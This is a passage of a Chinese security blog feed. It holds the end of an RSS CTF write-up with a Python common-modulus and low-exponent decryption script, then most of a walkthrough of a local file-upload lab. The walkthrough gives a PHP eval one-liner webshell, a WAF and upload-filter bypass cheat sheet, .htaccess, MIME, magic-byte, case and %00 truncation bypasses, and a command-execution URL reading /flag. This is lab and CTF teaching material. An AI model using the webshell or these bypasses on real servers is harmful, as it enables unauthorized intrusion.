class="number">0</span></span><br><span class="line">    r=n</span><br><span class="line">    old_r=a</span><br><span class="line">    <span class="keyword">while</span>(<span class="keyword">not</span> r==<span class="number">0</span>):</span><br><span class="line">        q=old_r//r</span><br><span class="line">        t=r</span><br><span class="line">        r=old_r-q*t</span><br><span class="line">        old_r=t</span><br><span class="line">        u=x</span><br><span class="line">        x=old_x-q*u</span><br><span class="line">        old_x=u</span><br><span class="line">        v=y</span><br><span class="line">        y=old_y-q*v</span><br><span class="line">        old_y=v</span><br><span class="line">    <span class="keyword">return</span> [old_r,old_x,old_y]</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">common_m</span>(<span class="params">n,c1,c2,e1,e2</span>):</span></span><br><span class="line">    print(len(bin(n)))</span><br><span class="line">    s = egcd(e1, e2)</span><br><span class="line">    print(s)</span><br><span class="line">    s1 = s[<span class="number">1</span>]</span><br><span class="line">    s2 = s[<span class="number">2</span>]</span><br><span class="line">    <span class="keyword">if</span> s1 &lt;<span class="number">0</span>:</span><br><span class="line">        s1 = -s1</span><br><span class="line">        c1 = invert(c1,n)</span><br><span class="line">    <span class="keyword">if</span> s2 &lt;<span class="number">0</span>:</span><br><span class="line">        s2 = -s2</span><br><span class="line">        c2 = invert(c2, n)</span><br><span class="line">    m = pow(c1,s1,n)*pow(c2,s2,n) % n</span><br><span class="line">    <span class="keyword">return</span> m,s[<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">low_e_attack</span>(<span class="params">e,m,n</span>):</span></span><br><span class="line">    l=<span class="number">0</span></span><br><span class="line">    t=n</span><br><span class="line">    ret = <span class="number">-1</span></span><br><span class="line">    <span class="keyword">while</span>(l&lt;=t):</span><br><span class="line">        mid = (l+t)//<span class="number">2</span></span><br><span class="line">        tem = mid**e</span><br><span class="line">        <span class="keyword">if</span>(tem == m):</span><br><span class="line">            print(mid)</span><br><span class="line">            ret = mid</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">elif</span> tem&lt;m:</span><br><span class="line">                l=mid+<span class="number">1</span></span><br><span class="line">        <span class="keyword">elif</span> tem&gt;m:</span><br><span class="line">            t=mid<span class="number">-1</span></span><br><span class="line">    <span class="keyword">return</span> ret</span><br><span class="line">    </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line">    n = <span class="number">781036391323974008856551441504551844841173384369055361767143425092387727015642055181741701170017399241497120632344953499820518820132068694764700867696829033106666055030180813062993649803797649124562825632340854157269454042167398954816966758408050707394510052574354703514670567409229754892812751190528559839163370996270173354192391025119212070374345175232268160015709412770236244184407603397493657886160301984598114022346065772036916080039069065703045460825584095559014098364274915486192890077441915702648662247422573607141301387160468708901332801070000950051880674436952646199048944681743156311156561347137284309444428161898926050856612636204505753959646608899803680618195914959490447723147711810217755931778569656715879355497741337867486596084617334222360877256151925248867366886699774397369843538784086757551124956184373578870266105742924242667575610284091444010308038579594247922368368398449676635147254244680714381600463229849534333608407292776731721661271718860696451810720187133868564530559847589151122364073467586981976649022363672800597675920485113168688814933825793827901051904388778126030212255351752567066602576348655685594872269975311829268026394327948942096118152848379484736487085060738082253125862183108996724624059293</span></span><br><span class="line">    c1 = <span class="number">369574840235539108372094092254419274246554984982221252273253594183836400022960378170488757871945636102709146100003103420983393418895920944769809509498534206740321414394214836818668536994868508542980403916810808297197199669370712797146359430162012897117686984913530312098913792383741034334686281360853026726954824577914039860820382688425141138202072956110821496285690037742234810972548140439615644523558778763893381916419169521655893103187028705326557465586164413430726626576639348603638806511311706975958593200898505048876740706947195874397909272772688774998312506679360257618176951770041342256209410863260884750487279961933541672586237719402972217492287549068766414410155714303648473676009661943965293501994978200745219593293552499364219563185093112256120550663818918964081980469288619926291250638450874316053326601032273087039376723415701554676257043515877013761681843885375325430297941942692679848107999743068109805325264735576658206199089491608087442001508062053843516431089207243339447049547611183815785864081653492970812961076181422434762137310522146572918571492263273382927468586853431581811297567337244729976259333642991615934568219783998183005087012034016783535060297367475598352120058322912068079704771685886066199702963018</span></span><br><span class="line">    c2 = <span class="number">401003748149510002818767369230254602513865159661339906800347290711690807270702301230624025422831311596632795141531720435002853738573163182312453127686259756779068482529257900103967550779067445990067902733048774414790636519587265122992946230937925359967091172504901407334687520803755214564929157748817222608867504984640435317237940989728715980606596332309938083583162432506373976839198105889860716728175207628676903581344807944755695848151190623498753010294323617338270060040423742010145259129678264662465355879341730120526032229944482388360258216424682694404263498956947130580056839592840962191604893632645585505577517647817952448510353267629549246776809657021963707309740084072731429860522801140021375078140454523473108229522456529438036963702296406101462856177037427008765522302625128434931680973911239443952409966616788095217782552153170772137807287594897681855045237814736536800205438589010668545647972935172419082314572196606656703628418159952436419223060565888253991481370307426542468001783829259332035534414470988788183383528642038979811899061182916422795902465788443785184461640800074642736248613386467596765647696764766509793194318458994279346191732415463226129676210488158303216826287374744132977258018064709541279591219801</span></span><br><span class="line">    e1 = <span class="number">321959</span></span><br><span class="line">    e2 = <span class="number">250261</span></span><br><span class="line">    m1,g = common_m(n,c1,c2,e1,e2)</span><br><span class="line">    m1 = low_e_attack(g,m1,n)</span><br><span class="line">    print(n2s(m1))</span><br><span class="line">    n2 = <span class="number">829153922415855137264800234822397159517330834702889033537933377293887344320377111020468975059392957737449202237724182178497515850669969287557171761512943313347002707881627665997773538338624697031113180118787578098839812766590356161880633390491240275263405375614880514319024910802488825931065452764114707860207310201420715597319258880485040522551832971592910421789656655281398336391483665797851843030704262677198876702546809063670714197016598069553974073602743894202215033991282795559558580509644985355582265309273819085165244990507821708921430055578522701525123887916901778357465509369586730929688392667732886906857430517653096398002777964560127268121571049233223372798710275104635615146227690965482270801899538594859206469480776522613028131598888508457709453379574742196454867003503347438618445660900423827776062276496733498823286497376761412579384984369308185260156963156405659950843672893896087650002269874800953868406307954077672988900057904666430054296760155287271561170025767624003816826720442668295925485637633877652749338842612472516105683964067019360513619412986301224461318521372012905629559424109846511589009550745828509068711532135188012958609344134355466641890243263881890822508445307982892951553198862583429368670057993</span></span><br><span class="line">    c3 = <span class="number">159724515943626607063077852180725785535830882720862727668525327462548399711146109134244815376287134761817075519820142556357574606798840233562248755971526219627762223734393473798914901143269449212790392600105330383090174083139586064181174009077350924651070244802047181675971743583126005374180803661344948105563731243622231745397860438110568700027808240466520775159603948893458839584686022713865445974999010633338992077036339635470928309825709158252021736998333181626196852117911063143924690274341118934263954401171980866857766803251097624531349328131906037324939822709718110584612723905396082816423636920021116198893529151233844741049768382997165306708386377461537659894631638669541135139772256724755879894163220385702448163577861050255922091076291360733371557008202704744025308442559929057280944151904346146363641694256384699833066941693911888313063101709464779564216471784300409758667075242519216711038178970244130709075948085377075896223268673956328949049096893114349123857314470200317354442002350914580896785644057370606138149403529271049952702755513806243257608741081761103014849775297798769123025294190124352059867893341310583345698551198662911063194743695473937982189580136904500546179872911907699655901666991491654421172959264</span></span><br><span class="line">    c4 = <span class="number">577539997913679548128771306860581210544436789252901226997329423745523775309125445697836728285902404228772238261978792894724035857571722732772392975266650638941506233731097966088599219553016910895407298319171601788682316820727521975802034842881641332176636880671926669677709251368489592049188264858974171362799051918792714121517422464840766220636795897542591062529334135365684855298036787805819982776703613397951208027499626161971540340384357517350954755917853981444696889490414620688922414306470663625107920255478295871212500731262906706677230231273773081082937699900897018507666959617262265778895830665231960626623936539619558323350031200046331865204833002387826480300556398975518044660453862186191885052104669182124205562629260585502282489936369132703221625792917684714281278526690498041768698231671538540231217204457920089132127615505206718241082416584911313565380784068494321438301994932115301961956898936006101799945175006847294491423172988371831199816110394796146842726192613950900507852084712888550397657990358471172662866403096061418272111461743199683739447289005311734544421847876133462236161463005728810728422873087670552019575195179400831748068699257581271088746550021722434317091260496556373742562805426688588980981788900</span></span><br><span class="line"></span><br><span class="line">    e3=<span class="number">386321</span></span><br><span class="line">    e4=<span class="number">216437</span> </span><br><span class="line">    m2,g = common_m(n2,c3,c4,e3,e4)</span><br><span class="line">    m2 = gmpy2.mpz(m2)</span><br><span class="line">    m1 = gmpy2.mpz(m1)</span><br><span class="line">    m2 = (m2* invert(pow(m1,g,n2),n2))%n2</span><br><span class="line">    m2 = low_e_attack(g,m2,n2)</span><br><span class="line">    print(m2)</span><br><span class="line">    print(n2s(m2))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">  main()</span><br></pre></td></tr></table></figure><p>拿到 flag</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201219210242.png" alt="image-20201219210242314"></p><h2 id="flag-值-3"><a href="#flag-值-3" class="headerlink" title="flag 值"></a>flag 值</h2><p><strong>flag{1f0436d9442616370459454e30125201}</strong></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h1&gt;&lt;p&gt;&lt;strong&gt;上周六参加『 蓝帽杯 』全国大学生网络安全技能大赛线上决赛记录，先挖个坑等一手之后官方的 WP 。&lt;/strong&gt;&lt;/p&gt;</summary>
      
    
    
    
    <category term="Note" scheme="https://www.lintstar.top/categories/Note/"/>
    
    <category term="CTF" scheme="https://www.lintstar.top/categories/Note/CTF/"/>
    
    
    <category term="Web" scheme="https://www.lintstar.top/tags/Web/"/>
    
    <category term="PWN" scheme="https://www.lintstar.top/tags/PWN/"/>
    
    <category term="RSA" scheme="https://www.lintstar.top/tags/RSA/"/>
    
  </entry>
  
  <entry>
    <title>GGCTF-UPLOAD 通关记录</title>
    <link href="https://www.lintstar.top/2020/12/612c8edf.html"/>
    <id>https://www.lintstar.top/2020/12/612c8edf.html</id>
    <published>2020-12-04T09:35:22.000Z</published>
    <updated>2023-11-09T07:40:38.119Z</updated>
    
    <content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>在 11月打 HW 的时候，遇到了一个靶标服务器二次渲染的文件上传点，因为之前没仔细研究没能拿到权限，还是有点遗憾的。而且 Getshell 的主要两个方式就是文件上传和远程命令执行，所以正好借着这个国光的文件上传靶场来总结一下文件上传的姿势。</p><hr><h1 id="手册"><a href="#手册" class="headerlink" title="手册"></a>手册</h1><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># PHP</span></span><br><span class="line"><span class="number">1.</span>遇到上传点传 php 失败</span><br><span class="line"><span class="number">2.</span>传php2,php3看下是黑名单还是白名单</span><br><span class="line"><span class="number">3.</span>走一遍正常逻辑传 jpg 看下上传模块是否正常，节约时间</span><br><span class="line"></span><br><span class="line"><span class="comment"># Jsp</span></span><br><span class="line"><span class="number">1.</span>正常流程走一遍</span><br><span class="line"><span class="number">2.</span>判断黑白名单</span><br><span class="line"><span class="number">3.</span>Asp,aSp,aaspsp</span><br><span class="line"><span class="number">4.</span><span class="keyword">as</span></span><br><span class="line">  p</span><br><span class="line">  asp空格</span><br><span class="line">  asp%<span class="number">00</span></span><br><span class="line">  asp%<span class="number">0</span>a</span><br><span class="line"><span class="number">5.</span>可以在这 .①a②s③p④ 这四个位置进行 fuzz ！！！很重要</span><br><span class="line"><span class="number">6.</span>.aspx , .cer , .cdx , .asmx , ascx试一下</span><br><span class="line"><span class="number">7.16</span>进制编码</span><br><span class="line"></span><br><span class="line"><span class="comment"># Tips</span></span><br><span class="line">要看 POST 包我们什么东西可控</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 绕waf</span></span><br><span class="line">- 垃圾数据填充（WAF为了保证速度，可能只会检测包的前<span class="number">1</span>M）</span><br><span class="line">- 设置多个filename字段（早期版本安全狗缺陷）</span><br><span class="line">- 更换filename字段位置（早期版本安全狗缺陷）</span><br><span class="line">- 替换为GET包（部分WAF只检测POST包中的参数）</span><br><span class="line">- 删除实体里面的Conten-Type字段（某些WAF检测不到该字段就直接放行）</span><br><span class="line">- 删除Conten-Type中“C”后面的字符串，再加上脚本的后缀（WAF规则缺陷）</span><br><span class="line">- 删除Content-Disposition字段里的空格（WAF规则缺陷）</span><br><span class="line">- 修改Content-Disposition字段值的大小写（WAF规则缺陷</span><br><span class="line">- Boundary后面加个空格或者其他可被正常处理的字符（WAF规则缺陷）</span><br><span class="line">- Boundary边界修改为不一致（两段Boundary不一致使得waf认为这段数据是无意义的，但容器并可能并没有这么严格）</span><br><span class="line">- 在文件名处换行（WAF规则缺陷）</span><br><span class="line">- 使用多个Content-Disposition（在IIS的环境下，上传文件时如果存在多个Content-Disposition的话，IIS会取第一个Content-Disposition中的值作为接收参数，而如果waf只是取最后一个的话便会被绕过）</span><br><span class="line">- 利用NTFS ADS特性（NTFS是Windows常用的文件系统格式。该格式支持交换数据流（Alternate Data Streams，缩写ADS）特性。该特性可以让多个文件流使用同一个文件名，便于系统管理和使用文件。这样，一个文件名可以包含一个主文件流和多个非主文件流。其中，主文件流可以以文件名直接访问，而其他文件流需要以“文件名:文件流名”进行访问。例如“Test.php::$DATA”可以直接生成Webshell“Test.php”绕过黑名单，当然若waf对filename匹配不当的话也可能会导致绕过。并且对于这类文件，普通的文件管理器只能看到主文件流，而无法看到其余的文件流，因此可以把一个或者多个文件隐藏到另外一个文件中。）</span><br><span class="line">- 后缀名后加“.”（Windows特性，存储时会删除“.”）</span><br><span class="line">- 超长后缀绕过后端重命名（若后端程序对上传的文件除后缀部分重命名，构造很多”.”、“-”等符号有可能不被waf拦截）</span><br><span class="line">- 超长文件名（文件名使用中文、特殊符号并最大程度的拉长）</span><br><span class="line">- 文件名结尾加“\”（安恒某版本云waf规则缺陷）</span><br></pre></td></tr></table></figure><h1 id="搭建环境"><a href="#搭建环境" class="headerlink" title="搭建环境"></a>搭建环境</h1><ol><li><p>靶场 Github 地址：<a href="https://github.com/sqlsec/upload-labs-docker">https://github.com/sqlsec/upload-labs-docker</a> 下载到本地</p></li><li><p>进入项目文件夹：<code>cd upload-labs-docker</code></p></li><li><p>部署运行：<code>docker-compose up -d</code></p></li><li><p>准备一个一句话木马 <code>x.php</code>：</p></li></ol><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> <span class="keyword">eval</span>($_REQUEST[x]);<span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><blockquote><p>GET 和 POST 请求都可以用</p></blockquote><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201201145034.png" alt="image-20201201145028373"></p><p>一切准备就绪 ~</p><p>那就访问：<a href="http://127.0.0.1:30001/">http://127.0.0.1:30001/</a> 开始第一关吧</p><blockquote><p>30001 - 30013 一个端口一关</p></blockquote><hr><h1 id="30001-JavaScript-绕过"><a href="#30001-JavaScript-绕过" class="headerlink" title="30001 -  JavaScript 绕过"></a>30001 -  JavaScript 绕过</h1><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201201225410.png" alt="image-20201201225410069"></p><h2 id="本关特征"><a href="#本关特征" class="headerlink" title="本关特征"></a>本关特征</h2><p>抓不到数据包的情况下，依然提示文件类型不正确</p><h2 id="Bypass"><a href="#Bypass" class="headerlink" title="Bypass"></a>Bypass</h2><p>本关客户端 js 校验代码：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">checkfilesuffix</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">var</span> file=<span class="built_in">document</span>.getElementsByName(<span class="string">&#x27;file&#x27;</span>)[<span class="number">0</span>][<span class="string">&#x27;value&#x27;</span>];</span><br><span class="line">    <span class="keyword">if</span>(file==<span class="string">&quot;&quot;</span>||file==<span class="literal">null</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        swal(<span class="string">&quot;请添加上传文件&quot;</span>, <span class="string">&quot;&quot;</span>, <span class="string">&quot;error&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">var</span> whitelist=<span class="keyword">new</span> <span class="built_in">Array</span>(<span class="string">&quot;.jpg&quot;</span>,<span class="string">&quot;.png&quot;</span>,<span class="string">&quot;.gif&quot;</span>,<span class="string">&quot;.jpeg&quot;</span>);</span><br><span class="line">        <span class="keyword">var</span> file_suffix=file.substring(file.lastIndexOf(<span class="string">&quot;.&quot;</span>));</span><br><span class="line">        <span class="keyword">if</span>(whitelist.indexOf(file_suffix) == <span class="number">-1</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            swal(<span class="string">&quot;只允许上传图片类型的文件!&quot;</span>, <span class="string">&quot;&quot;</span>, <span class="string">&quot;error&quot;</span>);</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">error</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">    swal(<span class="string">&quot;上传失败&quot;</span>, <span class="string">&quot;&quot;</span>, <span class="string">&quot;error&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure><h3 id="调试-js"><a href="#调试-js" class="headerlink" title="调试 js"></a>调试 js</h3><p>选到 whitelist 函数这行 开始调试 js：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201201221714.png" alt="image-20201201221714385"></p><p>找到该变量 直接修改数组元素的值</p><blockquote><p>右边为单点调试 左边为结束调试</p></blockquote><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201201225244.png" alt="image-20201201225244217"></p><p>结束调试 成功上传：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201201225614.png" alt="image-20201201225614946"></p><p>访问<code>http://127.0.0.1:30001/upload/1.php?x=system(%27cat%20/flag%27);</code>拿到 flag</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201201231229.png" alt="image-20201201231229255"></p><h3 id="禁用-js"><a href="#禁用-js" class="headerlink" title="禁用 js"></a>禁用 js</h3><p> 设置地址：chrome://settings/content/javascript</p><h3 id="抓包"><a href="#抓包" class="headerlink" title="抓包"></a>抓包</h3><p>可以先上传通过客户端校验后缀的文件  再通过抓包修改后缀绕过：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201201230942.png" alt="image-20201201230942710"></p><hr><h1 id="30002-htaccess-解析规则绕过"><a href="#30002-htaccess-解析规则绕过" class="headerlink" title="30002 - htaccess 解析规则绕过"></a>30002 - htaccess 解析规则绕过</h1><p>htaccess 文件是 Apache 服务器中的一个配置文件，它负责相关目录下的网页配置。通过 htaccess 文件，可以帮我们实现：网页301重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。</p><blockquote><p>.htaccess文件最常用的功能应该就是自定义404页面了，其操作也非常简单，在.htaccess 文件中加入代码：ErrorDocument 404 /Error.html ，然后建立一个简单的html404页面并命名 Error.html即可。</p></blockquote><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201201233125.png" alt="image-20201201233125066"></p><h2 id="本关特征-1"><a href="#本关特征-1" class="headerlink" title="本关特征"></a>本关特征</h2><p>黑名单几乎过滤了所有有问题的后缀名，除了.htaccess</p><h2 id="Bypass-1"><a href="#Bypass-1" class="headerlink" title="Bypass"></a>Bypass</h2><p>上传一个允许的后缀文件 抓包修改文件名和内容：</p><ul><li>文件名：<code>.htaccess</code></li><li>内容：<code>SetHandler application/x-httpd-php</code></li></ul><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201201234742.png" alt="image-20201201234742067"></p><p>这里的 htaccess 文件会使服务器把我们上传的其他后缀文件当成 php 文件解析</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202094150.png" alt="image-20201202094150774"></p><p>此时服务器的目录：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201201235358.png" alt="image-20201201235358756"></p><hr><h1 id="30003-MIME-绕过"><a href="#30003-MIME-绕过" class="headerlink" title="30003 - MIME 绕过"></a>30003 - MIME 绕过</h1><p><strong>媒体类型</strong>（通常称为 <strong>Multipurpose Internet Mail Extensions</strong> 或 <strong>MIME</strong> 类型 ）是一种标准，用来表示文档、文件或字节流的性质和格式。</p><p>MIME的组成结构非常简单；由类型与子类型两个字符串中间用 ‘/‘ 分隔而组成。不允许空格存在。type 表示可以被分多个子类的独立类别。subtype 表示细分后的每个类型。</p><p><strong>通用的结构为：</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">type&#x2F;subtype</span><br></pre></td></tr></table></figure><p>MIME类型对大小写不敏感，但是传统写法都是小写。</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202093006.png" alt="image-20201202093006652"></p><h2 id="本关特征-2"><a href="#本关特征-2" class="headerlink" title="本关特征"></a>本关特征</h2><p>服务端校验 上传图片格式不解析 其他格式（包括 .htaccess）提示文件类型不正确</p><h2 id="Bypass-2"><a href="#Bypass-2" class="headerlink" title="Bypass"></a>Bypass</h2><p>抓包修改 Content-Type 字段：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202093507.png" alt="image-20201202093507077"></p><p>上传成功</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202094107.png" alt="image-20201202094107221"></p><hr><h1 id="30004-文件头绕过"><a href="#30004-文件头绕过" class="headerlink" title="30004 - 文件头绕过"></a>30004 - 文件头绕过</h1><p>常见的文件头标志如下：</p><ul><li>JPEG (jpg)，文件头：<code>FFD8FF</code></li><li>PNG (png)，文件头：<code>89504E47</code></li><li>GIF (gif)，文件头：<code>47494638</code></li><li>HTML (html)，文件头：<code>68746D6C3E</code></li><li>ZIP Archive (zip)，文件头：<code>504B0304</code></li><li>RAR Archive (rar)，文件头：<code>52617221</code></li><li>Adobe Acrobat (pdf)，文件头：<code>255044462D312E</code></li><li>MS Word/Excel (xls.or.doc)，文件头：<code>D0CF11E0</code></li></ul><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202095116.png" alt="image-20201202095116809"></p><h2 id="本关特征-3"><a href="#本关特征-3" class="headerlink" title="本关特征"></a>本关特征</h2><p>服务端白名单校验 只允许上传固定类型的文件 getReailFileType 函数只会校验文件前几个字节</p><h2 id="Bypass-3"><a href="#Bypass-3" class="headerlink" title="Bypass"></a>Bypass</h2><p>抓包添加文件头 GIF89a 假装自己是个 GIF 文件</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202100642.png" alt="image-20201202100642050"></p><p>成功上传</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202100521.png" alt="image-20201202100521776"></p><hr><h1 id="30005-双写绕过"><a href="#30005-双写绕过" class="headerlink" title="30005 - 双写绕过"></a>30005 - 双写绕过</h1><p>关键代码：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202101224.png" alt="image-20201202101224260"></p><h2 id="本关特征-4"><a href="#本关特征-4" class="headerlink" title="本关特征"></a>本关特征</h2><p>上传 php 文件后修改 MIME 类型伪造文件头成功上传</p><p>但是上传的结果是这个样子：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202101409.png" alt="image-20201202101409738"></p><p>上传的 php 文件后缀被替换了 导致服务器不解析</p><p>回过头来看正是这行代码造成的：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$name = str_ireplace($blacklist,<span class="string">&quot;&quot;</span>,$name);</span><br></pre></td></tr></table></figure><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202101822.png" alt="image-20201202101822568"></p><p>看到『 忽略大小写版本 』：无法通过大小写绕过</p><h2 id="Bypass-4"><a href="#Bypass-4" class="headerlink" title="Bypass"></a>Bypass</h2><p>抓包双写为 pphphp 后缀</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202103716.png" alt="image-20201202103716028"></p><p>成功上传</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202103802.png" alt="image-20201202103802562"></p><hr><h1 id="30006-大小写绕过"><a href="#30006-大小写绕过" class="headerlink" title="30006 - 大小写绕过"></a>30006 - 大小写绕过</h1><p>本关函数使用了 str_replace </p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202104247.png" alt="image-20201202104247797"></p><h2 id="本关特征-5"><a href="#本关特征-5" class="headerlink" title="本关特征"></a>本关特征</h2><p>同样的黑名单替换且 Windows 环境特性是不区分大小写</p><h2 id="Bypass-5"><a href="#Bypass-5" class="headerlink" title="Bypass"></a>Bypass</h2><p>抓包修改后缀 Php</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202104654.png" alt="image-20201202104653974"></p><p>成功上传</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202104630.png" alt="image-20201202104630562"></p><hr><h1 id="30007-GET-型-00-截断绕过"><a href="#30007-GET-型-00-截断绕过" class="headerlink" title="30007 - GET 型 %00 截断绕过"></a>30007 - GET 型 %00 截断绕过</h1><p><strong>%00 截断：</strong>PHP 内核是由 C 语言实现的，所以使用了 C 语言中的一些字符串处理函数。比如在连接字符串时候， 0 字节 (\x00) 将作为字符串结束符。所以在这个地方，攻击者只要在最后加入一个 0 字节，就能截断 file 变量之后的字符串。</p><p><strong>%00 截断适用条件</strong></p><ul><li>magic_quotes_gpc = Off</li><li>PHP 版本小于 5.3.4</li></ul><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202105647.png" alt="image-20201202105647786"></p><h2 id="本关特征-6"><a href="#本关特征-6" class="headerlink" title="本关特征"></a>本关特征</h2><ul><li><p>只允许上传 jpg jpeg png gif 类型的文件</p></li><li><p>观察上图 路径信息是以 GET 方式传递到服务端的 默认会进行一次 URL 编码 </p></li><li><p>而 %00 解码后就是空字节</p></li></ul><h2 id="Bypass-6"><a href="#Bypass-6" class="headerlink" title="Bypass"></a>Bypass</h2><p>上传 x.php 抓包修改后缀和 MIME 类型 同时在上传路径添加 new.php 并使用 %00 截断</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202111626.png" alt="image-20201202111626099"></p><p>成功绕过：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202111657.png" alt="image-20201202111657435"></p><p>原理是 <code>%00</code> 起到截断的作用，最终会在 upload 目录下面生成 new.php </p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202111905.png" alt="image-20201202111905283"></p><p>顺便读一下 flag：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202112004.png" alt="image-20201202112004049"></p><hr><h1 id="30008-POST-型-00-截断绕过"><a href="#30008-POST-型-00-截断绕过" class="headerlink" title="30008 - POST 型 %00 截断绕过"></a>30008 - POST 型 %00 截断绕过</h1><p>题目同上</p><h2 id="本关特征-7"><a href="#本关特征-7" class="headerlink" title="本关特征"></a>本关特征</h2><p> 抓包发现路径信息是以 POST 方式传递到服务端的</p><h2 id="Bypass-7"><a href="#Bypass-7" class="headerlink" title="Bypass"></a>Bypass</h2><p>抓包通过 %00 截断</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202154337.png" alt="image-20201202154337615"></p><p>因为不是 GET 型 所以需要手动 URL 解码</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202160756.png" 